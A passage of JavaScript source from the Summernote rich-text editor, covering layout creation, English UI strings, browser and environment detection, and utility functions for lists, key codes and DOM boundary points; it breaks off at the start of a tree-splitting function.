    createLayout: function ($note, options) {
        var $editor = (options.airMode ? ui.airEditor([
            ui.editingArea([
                ui.airEditable()
            ])
        ]) : ui.editor([
            ui.toolbar(),
            ui.editingArea([
                ui.codable(),
                ui.editable()
            ]),
            ui.statusbar()
        ])).render();
        $editor.insertAfter($note);
        return {
            note: $note,
            editor: $editor,
            toolbar: $editor.find('.note-toolbar'),
            editingArea: $editor.find('.note-editing-area'),
            editable: $editor.find('.note-editable'),
            codable: $editor.find('.note-codable'),
            statusbar: $editor.find('.note-statusbar')
        };
    },
    removeLayout: function ($note, layoutInfo) {
        $note.html(layoutInfo.editable.html());
        layoutInfo.editor.remove();
        $note.off('summernote'); // remove summernote custom event
        $note.show();
    }
};

$$1.summernote = $$1.summernote || {
    lang: {}
};
$$1.extend($$1.summernote.lang, {
    'en-US': {
        font: {
            bold: 'Bold',
            italic: 'Italic',
            underline: 'Underline',
            clear: 'Remove Font Style',
            height: 'Line Height',
            name: 'Font Family',
            strikethrough: 'Strikethrough',
            subscript: 'Subscript',
            superscript: 'Superscript',
            size: 'Font Size'
        },
        image: {
            image: 'Picture',
            insert: 'Insert Image',
            resizeFull: 'Resize Full',
            resizeHalf: 'Resize Half',
            resizeQuarter: 'Resize Quarter',
            floatLeft: 'Float Left',
            floatRight: 'Float Right',
            floatNone: 'Float None',
            shapeRounded: 'Shape: Rounded',
            shapeCircle: 'Shape: Circle',
            shapeThumbnail: 'Shape: Thumbnail',
            shapeNone: 'Shape: None',
            dragImageHere: 'Drag image or text here',
            dropImage: 'Drop image or Text',
            selectFromFiles: 'Select from files',
            maximumFileSize: 'Maximum file size',
            maximumFileSizeError: 'Maximum file size exceeded.',
            url: 'Image URL',
            remove: 'Remove Image',
            original: 'Original'
        },
        video: {
            video: 'Video',
            videoLink: 'Video Link',
            insert: 'Insert Video',
            url: 'Video URL',
            providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion or Youku)'
        },
        link: {
            link: 'Link',
            insert: 'Insert Link',
            unlink: 'Unlink',
            edit: 'Edit',
            textToDisplay: 'Text to display',
            url: 'To what URL should this link go?',
            openInNewWindow: 'Open in new window'
        },
        table: {
            table: 'Table',
            addRowAbove: 'Add row above',
            addRowBelow: 'Add row below',
            addColLeft: 'Add column left',
            addColRight: 'Add column right',
            delRow: 'Delete row',
            delCol: 'Delete column',
            delTable: 'Delete table'
        },
        hr: {
            insert: 'Insert Horizontal Rule'
        },
        style: {
            style: 'Style',
            p: 'Normal',
            blockquote: 'Quote',
            pre: 'Code',
            h1: 'Header 1',
            h2: 'Header 2',
            h3: 'Header 3',
            h4: 'Header 4',
            h5: 'Header 5',
            h6: 'Header 6'
        },
        lists: {
            unordered: 'Unordered list',
            ordered: 'Ordered list'
        },
        options: {
            help: 'Help',
            fullscreen: 'Full Screen',
            codeview: 'Code View'
        },
        paragraph: {
            paragraph: 'Paragraph',
            outdent: 'Outdent',
            indent: 'Indent',
            left: 'Align left',
            center: 'Align center',
            right: 'Align right',
            justify: 'Justify full'
        },
        color: {
            recent: 'Recent Color',
            more: 'More Color',
            background: 'Background Color',
            foreground: 'Foreground Color',
            transparent: 'Transparent',
            setTransparent: 'Set transparent',
            reset: 'Reset',
            resetToDefault: 'Reset to default'
        },
        shortcut: {
            shortcuts: 'Keyboard shortcuts',
            close: 'Close',
            textFormatting: 'Text formatting',
            action: 'Action',
            paragraphFormatting: 'Paragraph formatting',
            documentStyle: 'Document Style',
            extraKeys: 'Extra keys'
        },
        help: {
            'insertParagraph': 'Insert Paragraph',
            'undo': 'Undoes the last command',
            'redo': 'Redoes the last command',
            'tab': 'Tab',
            'untab': 'Untab',
            'bold': 'Set a bold style',
            'italic': 'Set a italic style',
            'underline': 'Set a underline style',
            'strikethrough': 'Set a strikethrough style',
            'removeFormat': 'Clean a style',
            'justifyLeft': 'Set left align',
            'justifyCenter': 'Set center align',
            'justifyRight': 'Set right align',
            'justifyFull': 'Set full align',
            'insertUnorderedList': 'Toggle unordered list',
            'insertOrderedList': 'Toggle ordered list',
            'outdent': 'Outdent on current paragraph',
            'indent': 'Indent on current paragraph',
            'formatPara': 'Change current block\'s format as a paragraph(P tag)',
            'formatH1': 'Change current block\'s format as H1',
            'formatH2': 'Change current block\'s format as H2',
            'formatH3': 'Change current block\'s format as H3',
            'formatH4': 'Change current block\'s format as H4',
            'formatH5': 'Change current block\'s format as H5',
            'formatH6': 'Change current block\'s format as H6',
            'insertHorizontalRule': 'Insert horizontal rule',
            'linkDialog.show': 'Show Link Dialog'
        },
        history: {
            undo: 'Undo',
            redo: 'Redo'
        },
        specialChar: {
            specialChar: 'SPECIAL CHARACTERS',
            select: 'Select Special characters'
        }
    }
});

var isSupportAmd = typeof define === 'function' && define.amd; // eslint-disable-line
/**
 * returns whether font is installed or not.
 *
 * @param {String} fontName
 * @return {Boolean}
 */
function isFontInstalled(fontName) {
    var testFontName = fontName === 'Comic Sans MS' ? 'Courier New' : 'Comic Sans MS';
    var $tester = $$1('<div>').css({
        position: 'absolute',
        left: '-9999px',
        top: '-9999px',
        fontSize: '200px'
    }).text('mmmmmmmmmwwwwwww').appendTo(document.body);
    var originalWidth = $tester.css('fontFamily', testFontName).width();
    var width = $tester.css('fontFamily', fontName + ',' + testFontName).width();
    $tester.remove();
    return originalWidth !== width;
}
var userAgent = navigator.userAgent;
var isMSIE = /MSIE|Trident/i.test(userAgent);
var browserVersion;
if (isMSIE) {
    var matches = /MSIE (\d+[.]\d+)/.exec(userAgent);
    if (matches) {
        browserVersion = parseFloat(matches[1]);
    }
    matches = /Trident\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(userAgent);
    if (matches) {
        browserVersion = parseFloat(matches[1]);
    }
}
var isEdge = /Edge\/\d+/.test(userAgent);
var hasCodeMirror = !!window.CodeMirror;
if (!hasCodeMirror && isSupportAmd) {
    // Webpack
    if (typeof __webpack_require__ === 'function') {
        try {
            // If CodeMirror can't be resolved, `require.resolve` will throw an
            // exception and `hasCodeMirror` won't be set to `true`.
            require.resolve('codemirror');
            hasCodeMirror = true;
        }
        catch (e) {
            // do nothing
        }
    }
    else if (typeof require !== 'undefined') {
        // Browserify
        if (typeof require.resolve !== 'undefined') {
            try {
                // If CodeMirror can't be resolved, `require.resolve` will throw an
                // exception and `hasCodeMirror` won't be set to `true`.
                require.resolve('codemirror');
                hasCodeMirror = true;
            }
            catch (e) {
                // do nothing
            }
            // Almond/Require
        }
        else if (typeof require.specified !== 'undefined') {
            hasCodeMirror = require.specified('codemirror');
        }
    }
}
var isSupportTouch = (('ontouchstart' in window) ||
    (navigator.MaxTouchPoints > 0) ||
    (navigator.msMaxTouchPoints > 0));
// [workaround] IE doesn't have input events for contentEditable
// - see: https://goo.gl/4bfIvA
var inputEventName = (isMSIE || isEdge) ? 'DOMCharacterDataModified DOMSubtreeModified DOMNodeInserted' : 'input';
/**
 * @class core.env
 *
 * Object which check platform and agent
 *
 * @singleton
 * @alternateClassName env
 */
var env = {
    isMac: navigator.appVersion.indexOf('Mac') > -1,
    isMSIE: isMSIE,
    isEdge: isEdge,
    isFF: !isEdge && /firefox/i.test(userAgent),
    isPhantom: /PhantomJS/i.test(userAgent),
    isWebkit: !isEdge && /webkit/i.test(userAgent),
    isChrome: !isEdge && /chrome/i.test(userAgent),
    isSafari: !isEdge && /safari/i.test(userAgent),
    browserVersion: browserVersion,
    jqueryVersion: parseFloat($$1.fn.jquery),
    isSupportAmd: isSupportAmd,
    isSupportTouch: isSupportTouch,
    hasCodeMirror: hasCodeMirror,
    isFontInstalled: isFontInstalled,
    isW3CRangeSupport: !!document.createRange,
    inputEventName: inputEventName
};

/**
 * @class core.func
 *
 * func utils (for high-order func's arg)
 *
 * @singleton
 * @alternateClassName func
 */
function eq(itemA) {
    return function (itemB) {
        return itemA === itemB;
    };
}
function eq2(itemA, itemB) {
    return itemA === itemB;
}
function peq2(propName) {
    return function (itemA, itemB) {
        return itemA[propName] === itemB[propName];
    };
}
function ok() {
    return true;
}
function fail() {
    return false;
}
function not(f) {
    return function () {
        return !f.apply(f, arguments);
    };
}
function and(fA, fB) {
    return function (item) {
        return fA(item) && fB(item);
    };
}
function self(a) {
    return a;
}
function invoke(obj, method) {
    return function () {
        return obj[method].apply(obj, arguments);
    };
}
var idCounter = 0;
/**
 * generate a globally-unique id
 *
 * @param {String} [prefix]
 */
function uniqueId(prefix) {
    var id = ++idCounter + '';
    return prefix ? prefix + id : id;
}
/**
 * returns bnd (bounds) from rect
 *
 * - IE Compatibility Issue: http://goo.gl/sRLOAo
 * - Scroll Issue: http://goo.gl/sNjUc
 *
 * @param {Rect} rect
 * @return {Object} bounds
 * @return {Number} bounds.top
 * @return {Number} bounds.left
 * @return {Number} bounds.width
 * @return {Number} bounds.height
 */
function rect2bnd(rect) {
    var $document = $(document);
    return {
        top: rect.top + $document.scrollTop(),
        left: rect.left + $document.scrollLeft(),
        width: rect.right - rect.left,
        height: rect.bottom - rect.top
    };
}
/**
 * returns a copy of the object where the keys have become the values and the values the keys.
 * @param {Object} obj
 * @return {Object}
 */
function invertObject(obj) {
    var inverted = {};
    for (var key in obj) {
        if (obj.hasOwnProperty(key)) {
            inverted[obj[key]] = key;
        }
    }
    return inverted;
}
/**
 * @param {String} namespace
 * @param {String} [prefix]
 * @return {String}
 */
function namespaceToCamel(namespace, prefix) {
    prefix = prefix || '';
    return prefix + namespace.split('.').map(function (name) {
        return name.substring(0, 1).toUpperCase() + name.substring(1);
    }).join('');
}
/**
 * Returns a function, that, as long as it continues to be invoked, will not
 * be triggered. The function will be called after it stops being called for
 * N milliseconds. If `immediate` is passed, trigger the function on the
 * leading edge, instead of the trailing.
 * @param {Function} func
 * @param {Number} wait
 * @param {Boolean} immediate
 * @return {Function}
 */
function debounce(func, wait, immediate) {
    var _this = this;
    var timeout;
    return function () {
        var context = _this;
        var args = arguments;
        var later = function () {
            timeout = null;
            if (!immediate) {
                func.apply(context, args);
            }
        };
        var callNow = immediate && !timeout;
        clearTimeout(timeout);
        timeout = setTimeout(later, wait);
        if (callNow) {
            func.apply(context, args);
        }
    };
}
var func = {
    eq: eq,
    eq2: eq2,
    peq2: peq2,
    ok: ok,
    fail: fail,
    self: self,
    not: not,
    and: and,
    invoke: invoke,
    uniqueId: uniqueId,
    rect2bnd: rect2bnd,
    invertObject: invertObject,
    namespaceToCamel: namespaceToCamel,
    debounce: debounce
};

/**
 * returns the first item of an array.
 *
 * @param {Array} array
 */
function head(array) {
    return array[0];
}
/**
 * returns the last item of an array.
 *
 * @param {Array} array
 */
function last(array) {
    return array[array.length - 1];
}
/**
 * returns everything but the last entry of the array.
 *
 * @param {Array} array
 */
function initial(array) {
    return array.slice(0, array.length - 1);
}
/**
 * returns the rest of the items in an array.
 *
 * @param {Array} array
 */
function tail(array) {
    return array.slice(1);
}
/**
 * returns item of array
 */
function find(array, pred) {
    for (var idx = 0, len = array.length; idx < len; idx++) {
        var item = array[idx];
        if (pred(item)) {
            return item;
        }
    }
}
/**
 * returns true if all of the values in the array pass the predicate truth test.
 */
function all(array, pred) {
    for (var idx = 0, len = array.length; idx < len; idx++) {
        if (!pred(array[idx])) {
            return false;
        }
    }
    return true;
}
/**
 * returns index of item
 */
function indexOf(array, item) {
    return $$1.inArray(item, array);
}
/**
 * returns true if the value is present in the list.
 */
function contains(array, item) {
    return indexOf(array, item) !== -1;
}
/**
 * get sum from a list
 *
 * @param {Array} array - array
 * @param {Function} fn - iterator
 */
function sum(array, fn) {
    fn = fn || func.self;
    return array.reduce(function (memo, v) {
        return memo + fn(v);
    }, 0);
}
/**
 * returns a copy of the collection with array type.
 * @param {Collection} collection - collection eg) node.childNodes, ...
 */
function from(collection) {
    var result = [];
    var length = collection.length;
    var idx = -1;
    while (++idx < length) {
        result[idx] = collection[idx];
    }
    return result;
}
/**
 * returns whether list is empty or not
 */
function isEmpty(array) {
    return !array || !array.length;
}
/**
 * cluster elements by predicate function.
 *
 * @param {Array} array - array
 * @param {Function} fn - predicate function for cluster rule
 * @param {Array[]}
 */
function clusterBy(array, fn) {
    if (!array.length) {
        return [];
    }
    var aTail = tail(array);
    return aTail.reduce(function (memo, v) {
        var aLast = last(memo);
        if (fn(last(aLast), v)) {
            aLast[aLast.length] = v;
        }
        else {
            memo[memo.length] = [v];
        }
        return memo;
    }, [[head(array)]]);
}
/**
 * returns a copy of the array with all false values removed
 *
 * @param {Array} array - array
 * @param {Function} fn - predicate function for cluster rule
 */
function compact(array) {
    var aResult = [];
    for (var idx = 0, len = array.length; idx < len; idx++) {
        if (array[idx]) {
            aResult.push(array[idx]);
        }
    }
    return aResult;
}
/**
 * produces a duplicate-free version of the array
 *
 * @param {Array} array
 */
function unique(array) {
    var results = [];
    for (var idx = 0, len = array.length; idx < len; idx++) {
        if (!contains(results, array[idx])) {
            results.push(array[idx]);
        }
    }
    return results;
}
/**
 * returns next item.
 * @param {Array} array
 */
function next(array, item) {
    var idx = indexOf(array, item);
    if (idx === -1) {
        return null;
    }
    return array[idx + 1];
}
/**
 * returns prev item.
 * @param {Array} array
 */
function prev(array, item) {
    var idx = indexOf(array, item);
    if (idx === -1) {
        return null;
    }
    return array[idx - 1];
}
/**
 * @class core.list
 *
 * list utils
 *
 * @singleton
 * @alternateClassName list
 */
var lists = {
    head: head,
    last: last,
    initial: initial,
    tail: tail,
    prev: prev,
    next: next,
    find: find,
    contains: contains,
    all: all,
    sum: sum,
    from: from,
    isEmpty: isEmpty,
    clusterBy: clusterBy,
    compact: compact,
    unique: unique
};

var KEY_MAP = {
    'BACKSPACE': 8,
    'TAB': 9,
    'ENTER': 13,
    'SPACE': 32,
    'DELETE': 46,
    // Arrow
    'LEFT': 37,
    'UP': 38,
    'RIGHT': 39,
    'DOWN': 40,
    // Number: 0-9
    'NUM0': 48,
    'NUM1': 49,
    'NUM2': 50,
    'NUM3': 51,
    'NUM4': 52,
    'NUM5': 53,
    'NUM6': 54,
    'NUM7': 55,
    'NUM8': 56,
    // Alphabet: a-z
    'B': 66,
    'E': 69,
    'I': 73,
    'J': 74,
    'K': 75,
    'L': 76,
    'R': 82,
    'S': 83,
    'U': 85,
    'V': 86,
    'Y': 89,
    'Z': 90,
    'SLASH': 191,
    'LEFTBRACKET': 219,
    'BACKSLASH': 220,
    'RIGHTBRACKET': 221
};
/**
 * @class core.key
 *
 * Object for keycodes.
 *
 * @singleton
 * @alternateClassName key
 */
var key = {
    /**
     * @method isEdit
     *
     * @param {Number} keyCode
     * @return {Boolean}
     */
    isEdit: function (keyCode) {
        return lists.contains([
            KEY_MAP.BACKSPACE,
            KEY_MAP.TAB,
            KEY_MAP.ENTER,
            KEY_MAP.SPACE,
            KEY_MAP.DELETE
        ], keyCode);
    },
    /**
     * @method isMove
     *
     * @param {Number} keyCode
     * @return {Boolean}
     */
    isMove: function (keyCode) {
        return lists.contains([
            KEY_MAP.LEFT,
            KEY_MAP.UP,
            KEY_MAP.RIGHT,
            KEY_MAP.DOWN
        ], keyCode);
    },
    /**
     * @property {Object} nameFromCode
     * @property {String} nameFromCode.8 "BACKSPACE"
     */
    nameFromCode: func.invertObject(KEY_MAP),
    code: KEY_MAP
};

var NBSP_CHAR = String.fromCharCode(160);
var ZERO_WIDTH_NBSP_CHAR = '\ufeff';
/**
 * @method isEditable
 *
 * returns whether node is `note-editable` or not.
 *
 * @param {Node} node
 * @return {Boolean}
 */
function isEditable(node) {
    return node && $$1(node).hasClass('note-editable');
}
/**
 * @method isControlSizing
 *
 * returns whether node is `note-control-sizing` or not.
 *
 * @param {Node} node
 * @return {Boolean}
 */
function isControlSizing(node) {
    return node && $$1(node).hasClass('note-control-sizing');
}
/**
 * @method makePredByNodeName
 *
 * returns predicate which judge whether nodeName is same
 *
 * @param {String} nodeName
 * @return {Function}
 */
function makePredByNodeName(nodeName) {
    nodeName = nodeName.toUpperCase();
    return function (node) {
        return node && node.nodeName.toUpperCase() === nodeName;
    };
}
/**
 * @method isText
 *
 *
 *
 * @param {Node} node
 * @return {Boolean} true if node's type is text(3)
 */
function isText(node) {
    return node && node.nodeType === 3;
}
/**
 * @method isElement
 *
 *
 *
 * @param {Node} node
 * @return {Boolean} true if node's type is element(1)
 */
function isElement(node) {
    return node && node.nodeType === 1;
}
/**
 * ex) br, col, embed, hr, img, input, ...
 * @see http://www.w3.org/html/wg/drafts/html/master/syntax.html#void-elements
 */
function isVoid(node) {
    return node && /^BR|^IMG|^HR|^IFRAME|^BUTTON|^INPUT/.test(node.nodeName.toUpperCase());
}
function isPara(node) {
    if (isEditable(node)) {
        return false;
    }
    // Chrome(v31.0), FF(v25.0.1) use DIV for paragraph
    return node && /^DIV|^P|^LI|^H[1-7]/.test(node.nodeName.toUpperCase());
}
function isHeading(node) {
    return node && /^H[1-7]/.test(node.nodeName.toUpperCase());
}
var isPre = makePredByNodeName('PRE');
var isLi = makePredByNodeName('LI');
function isPurePara(node) {
    return isPara(node) && !isLi(node);
}
var isTable = makePredByNodeName('TABLE');
var isData = makePredByNodeName('DATA');
function isInline(node) {
    return !isBodyContainer(node) &&
        !isList(node) &&
        !isHr(node) &&
        !isPara(node) &&
        !isTable(node) &&
        !isBlockquote(node) &&
        !isData(node);
}
function isList(node) {
    return node && /^UL|^OL/.test(node.nodeName.toUpperCase());
}
var isHr = makePredByNodeName('HR');
function isCell(node) {
    return node && /^TD|^TH/.test(node.nodeName.toUpperCase());
}
var isBlockquote = makePredByNodeName('BLOCKQUOTE');
function isBodyContainer(node) {
    return isCell(node) || isBlockquote(node) || isEditable(node);
}
var isAnchor = makePredByNodeName('A');
function isParaInline(node) {
    return isInline(node) && !!ancestor(node, isPara);
}
function isBodyInline(node) {
    return isInline(node) && !ancestor(node, isPara);
}
var isBody = makePredByNodeName('BODY');
/**
 * returns whether nodeB is closest sibling of nodeA
 *
 * @param {Node} nodeA
 * @param {Node} nodeB
 * @return {Boolean}
 */
function isClosestSibling(nodeA, nodeB) {
    return nodeA.nextSibling === nodeB ||
        nodeA.previousSibling === nodeB;
}
/**
 * returns array of closest siblings with node
 *
 * @param {Node} node
 * @param {function} [pred] - predicate function
 * @return {Node[]}
 */
function withClosestSiblings(node, pred) {
    pred = pred || func.ok;
    var siblings = [];
    if (node.previousSibling && pred(node.previousSibling)) {
        siblings.push(node.previousSibling);
    }
    siblings.push(node);
    if (node.nextSibling && pred(node.nextSibling)) {
        siblings.push(node.nextSibling);
    }
    return siblings;
}
/**
 * blank HTML for cursor position
 * - [workaround] old IE only works with &nbsp;
 * - [workaround] IE11 and other browser works with bogus br
 */
var blankHTML = env.isMSIE && env.browserVersion < 11 ? '&nbsp;' : '<br>';
/**
 * @method nodeLength
 *
 * returns #text's text size or element's childNodes size
 *
 * @param {Node} node
 */
function nodeLength(node) {
    if (isText(node)) {
        return node.nodeValue.length;
    }
    if (node) {
        return node.childNodes.length;
    }
    return 0;
}
/**
 * returns whether node is empty or not.
 *
 * @param {Node} node
 * @return {Boolean}
 */
function isEmpty$1(node) {
    var len = nodeLength(node);
    if (len === 0) {
        return true;
    }
    else if (!isText(node) && len === 1 && node.innerHTML === blankHTML) {
        // ex) <p><br></p>, <span><br></span>
        return true;
    }
    else if (lists.all(node.childNodes, isText) && node.innerHTML === '') {
        // ex) <p></p>, <span></span>
        return true;
    }
    return false;
}
/**
 * padding blankHTML if node is empty (for cursor position)
 */
function paddingBlankHTML(node) {
    if (!isVoid(node) && !nodeLength(node)) {
        node.innerHTML = blankHTML;
    }
}
/**
 * find nearest ancestor predicate hit
 *
 * @param {Node} node
 * @param {Function} pred - predicate function
 */
function ancestor(node, pred) {
    while (node) {
        if (pred(node)) {
            return node;
        }
        if (isEditable(node)) {
            break;
        }
        node = node.parentNode;
    }
    return null;
}
/**
 * find nearest ancestor only single child blood line and predicate hit
 *
 * @param {Node} node
 * @param {Function} pred - predicate function
 */
function singleChildAncestor(node, pred) {
    node = node.parentNode;
    while (node) {
        if (nodeLength(node) !== 1) {
            break;
        }
        if (pred(node)) {
            return node;
        }
        if (isEditable(node)) {
            break;
        }
        node = node.parentNode;
    }
    return null;
}
/**
 * returns new array of ancestor nodes (until predicate hit).
 *
 * @param {Node} node
 * @param {Function} [optional] pred - predicate function
 */
function listAncestor(node, pred) {
    pred = pred || func.fail;
    var ancestors = [];
    ancestor(node, function (el) {
        if (!isEditable(el)) {
            ancestors.push(el);
        }
        return pred(el);
    });
    return ancestors;
}
/**
 * find farthest ancestor predicate hit
 */
function lastAncestor(node, pred) {
    var ancestors = listAncestor(node);
    return lists.last(ancestors.filter(pred));
}
/**
 * returns common ancestor node between two nodes.
 *
 * @param {Node} nodeA
 * @param {Node} nodeB
 */
function commonAncestor(nodeA, nodeB) {
    var ancestors = listAncestor(nodeA);
    for (var n = nodeB; n; n = n.parentNode) {
        if ($$1.inArray(n, ancestors) > -1) {
            return n;
        }
    }
    return null; // difference document area
}
/**
 * listing all previous siblings (until predicate hit).
 *
 * @param {Node} node
 * @param {Function} [optional] pred - predicate function
 */
function listPrev(node, pred) {
    pred = pred || func.fail;
    var nodes = [];
    while (node) {
        if (pred(node)) {
            break;
        }
        nodes.push(node);
        node = node.previousSibling;
    }
    return nodes;
}
/**
 * listing next siblings (until predicate hit).
 *
 * @param {Node} node
 * @param {Function} [pred] - predicate function
 */
function listNext(node, pred) {
    pred = pred || func.fail;
    var nodes = [];
    while (node) {
        if (pred(node)) {
            break;
        }
        nodes.push(node);
        node = node.nextSibling;
    }
    return nodes;
}
/**
 * listing descendant nodes
 *
 * @param {Node} node
 * @param {Function} [pred] - predicate function
 */
function listDescendant(node, pred) {
    var descendants = [];
    pred = pred || func.ok;
    // start DFS(depth first search) with node
    (function fnWalk(current) {
        if (node !== current && pred(current)) {
            descendants.push(current);
        }
        for (var idx = 0, len = current.childNodes.length; idx < len; idx++) {
            fnWalk(current.childNodes[idx]);
        }
    })(node);
    return descendants;
}
/**
 * wrap node with new tag.
 *
 * @param {Node} node
 * @param {Node} tagName of wrapper
 * @return {Node} - wrapper
 */
function wrap(node, wrapperName) {
    var parent = node.parentNode;
    var wrapper = $$1('<' + wrapperName + '>')[0];
    parent.insertBefore(wrapper, node);
    wrapper.appendChild(node);
    return wrapper;
}
/**
 * insert node after preceding
 *
 * @param {Node} node
 * @param {Node} preceding - predicate function
 */
function insertAfter(node, preceding) {
    var next = preceding.nextSibling;
    var parent = preceding.parentNode;
    if (next) {
        parent.insertBefore(node, next);
    }
    else {
        parent.appendChild(node);
    }
    return node;
}
/**
 * append elements.
 *
 * @param {Node} node
 * @param {Collection} aChild
 */
function appendChildNodes(node, aChild) {
    $$1.each(aChild, function (idx, child) {
        node.appendChild(child);
    });
    return node;
}
/**
 * returns whether boundaryPoint is left edge or not.
 *
 * @param {BoundaryPoint} point
 * @return {Boolean}
 */
function isLeftEdgePoint(point) {
    return point.offset === 0;
}
/**
 * returns whether boundaryPoint is right edge or not.
 *
 * @param {BoundaryPoint} point
 * @return {Boolean}
 */
function isRightEdgePoint(point) {
    return point.offset === nodeLength(point.node);
}
/**
 * returns whether boundaryPoint is edge or not.
 *
 * @param {BoundaryPoint} point
 * @return {Boolean}
 */
function isEdgePoint(point) {
    return isLeftEdgePoint(point) || isRightEdgePoint(point);
}
/**
 * returns whether node is left edge of ancestor or not.
 *
 * @param {Node} node
 * @param {Node} ancestor
 * @return {Boolean}
 */
function isLeftEdgeOf(node, ancestor) {
    while (node && node !== ancestor) {
        if (position(node) !== 0) {
            return false;
        }
        node = node.parentNode;
    }
    return true;
}
/**
 * returns whether node is right edge of ancestor or not.
 *
 * @param {Node} node
 * @param {Node} ancestor
 * @return {Boolean}
 */
function isRightEdgeOf(node, ancestor) {
    if (!ancestor) {
        return false;
    }
    while (node && node !== ancestor) {
        if (position(node) !== nodeLength(node.parentNode) - 1) {
            return false;
        }
        node = node.parentNode;
    }
    return true;
}
/**
 * returns whether point is left edge of ancestor or not.
 * @param {BoundaryPoint} point
 * @param {Node} ancestor
 * @return {Boolean}
 */
function isLeftEdgePointOf(point, ancestor) {
    return isLeftEdgePoint(point) && isLeftEdgeOf(point.node, ancestor);
}
/**
 * returns whether point is right edge of ancestor or not.
 * @param {BoundaryPoint} point
 * @param {Node} ancestor
 * @return {Boolean}
 */
function isRightEdgePointOf(point, ancestor) {
    return isRightEdgePoint(point) && isRightEdgeOf(point.node, ancestor);
}
/**
 * returns offset from parent.
 *
 * @param {Node} node
 */
function position(node) {
    var offset = 0;
    while ((node = node.previousSibling)) {
        offset += 1;
    }
    return offset;
}
function hasChildren(node) {
    return !!(node && node.childNodes && node.childNodes.length);
}
/**
 * returns previous boundaryPoint
 *
 * @param {BoundaryPoint} point
 * @param {Boolean} isSkipInnerOffset
 * @return {BoundaryPoint}
 */
function prevPoint(point, isSkipInnerOffset) {
    var node;
    var offset;
    if (point.offset === 0) {
        if (isEditable(point.node)) {
            return null;
        }
        node = point.node.parentNode;
        offset = position(point.node);
    }
    else if (hasChildren(point.node)) {
        node = point.node.childNodes[point.offset - 1];
        offset = nodeLength(node);
    }
    else {
        node = point.node;
        offset = isSkipInnerOffset ? 0 : point.offset - 1;
    }
    return {
        node: node,
        offset: offset
    };
}
/**
 * returns next boundaryPoint
 *
 * @param {BoundaryPoint} point
 * @param {Boolean} isSkipInnerOffset
 * @return {BoundaryPoint}
 */
function nextPoint(point, isSkipInnerOffset) {
    var node, offset;
    if (nodeLength(point.node) === point.offset) {
        if (isEditable(point.node)) {
            return null;
        }
        node = point.node.parentNode;
        offset = position(point.node) + 1;
    }
    else if (hasChildren(point.node)) {
        node = point.node.childNodes[point.offset];
        offset = 0;
    }
    else {
        node = point.node;
        offset = isSkipInnerOffset ? nodeLength(point.node) : point.offset + 1;
    }
    return {
        node: node,
        offset: offset
    };
}
/**
 * returns whether pointA and pointB is same or not.
 *
 * @param {BoundaryPoint} pointA
 * @param {BoundaryPoint} pointB
 * @return {Boolean}
 */
function isSamePoint(pointA, pointB) {
    return pointA.node === pointB.node && pointA.offset === pointB.offset;
}
/**
 * returns whether point is visible (can set cursor) or not.
 *
 * @param {BoundaryPoint} point
 * @return {Boolean}
 */
function isVisiblePoint(point) {
    if (isText(point.node) || !hasChildren(point.node) || isEmpty$1(point.node)) {
        return true;
    }
    var leftNode = point.node.childNodes[point.offset - 1];
    var rightNode = point.node.childNodes[point.offset];
    if ((!leftNode || isVoid(leftNode)) && (!rightNode || isVoid(rightNode))) {
        return true;
    }
    return false;
}
/**
 * @method prevPointUtil
 *
 * @param {BoundaryPoint} point
 * @param {Function} pred
 * @return {BoundaryPoint}
 */
function prevPointUntil(point, pred) {
    while (point) {
        if (pred(point)) {
            return point;
        }
        point = prevPoint(point);
    }
    return null;
}
/**
 * @method nextPointUntil
 *
 * @param {BoundaryPoint} point
 * @param {Function} pred
 * @return {BoundaryPoint}
 */
function nextPointUntil(point, pred) {
    while (point) {
        if (pred(point)) {
            return point;
        }
        point = nextPoint(point);
    }
    return null;
}
/**
 * returns whether point has character or not.
 *
 * @param {Point} point
 * @return {Boolean}
 */
function isCharPoint(point) {
    if (!isText(point.node)) {
        return false;
    }
    var ch = point.node.nodeValue.charAt(point.offset - 1);
    return ch && (ch !== ' ' && ch !== NBSP_CHAR);
}
/**
 * @method walkPoint
 *
 * @param {BoundaryPoint} startPoint
 * @param {BoundaryPoint} endPoint
 * @param {Function} handler
 * @param {Boolean} isSkipInnerOffset
 */
function walkPoint(startPoint, endPoint, handler, isSkipInnerOffset) {
    var point = startPoint;
    while (point) {
        handler(point);
        if (isSamePoint(point, endPoint)) {
            break;
        }
        var isSkipOffset = isSkipInnerOffset &&
            startPoint.node !== point.node &&
            endPoint.node !== point.node;
        point = nextPoint(point, isSkipOffset);
    }
}
/**
 * @method makeOffsetPath
 *
 * return offsetPath(array of offset) from ancestor
 *
 * @param {Node} ancestor - ancestor node
 * @param {Node} node
 */
function makeOffsetPath(ancestor, node) {
    var ancestors = listAncestor(node, func.eq(ancestor));
    return ancestors.map(position).reverse();
}
/**
 * @method fromOffsetPath
 *
 * return element from offsetPath(array of offset)
 *
 * @param {Node} ancestor - ancestor node
 * @param {array} offsets - offsetPath
 */
function fromOffsetPath(ancestor, offsets) {
    var current = ancestor;
    for (var i = 0, len = offsets.length; i < len; i++) {
        if (current.childNodes.length <= offsets[i]) {
            current = current.childNodes[current.childNodes.length - 1];
        }
        else {
            current = current.childNodes[offsets[i]];
        }
    }
    return current;
}
/**
 * @method splitNode
 *
 * split element or #text
 *
 * @param {BoundaryPoint} point
 * @param {Object} [options]
 * @param {Boolean} [options.isSkipPaddingBlankHTML] - default: false
 * @param {Boolean} [options.isNotSplitEdgePoint] - default: false
 * @return {Node} right node of boundaryPoint
 */
function splitNode(point, options) {
    var isSkipPaddingBlankHTML = options && options.isSkipPaddingBlankHTML;
    var isNotSplitEdgePoint = options && options.isNotSplitEdgePoint;
    // edge case
    if (isEdgePoint(point) && (isText(point.node) || isNotSplitEdgePoint)) {
        if (isLeftEdgePoint(point)) {
            return point.node;
        }
        else if (isRightEdgePoint(point)) {
            return point.node.nextSibling;
        }
    }
    // split #text
    if (isText(point.node)) {
        return point.node.splitText(point.offset);
    }
    else {
        var childNode = point.node.childNodes[point.offset];
        var clone = insertAfter(point.node.cloneNode(false), point.node);
        appendChildNodes(clone, listNext(childNode));
        if (!isSkipPaddingBlankHTML) {
            paddingBlankHTML(point.node);
            paddingBlankHTML(clone);
        }
        return clone;
    }
}
/**
 * @method splitTree
 *
 * split tree by point
 *
 * @param {Node} root - split root
 * @param {BoundaryPoint} point
 * @param {Object} [options]
 * @param {Boolean} [options.isSkipPaddingBlankHTML] - default: false
 * @param {Boolean} [options.isNotSplitEdgePoint] - default: false
 * @return {Node} right node of boundaryPoint
 */
function splitTree(root, point, options) {
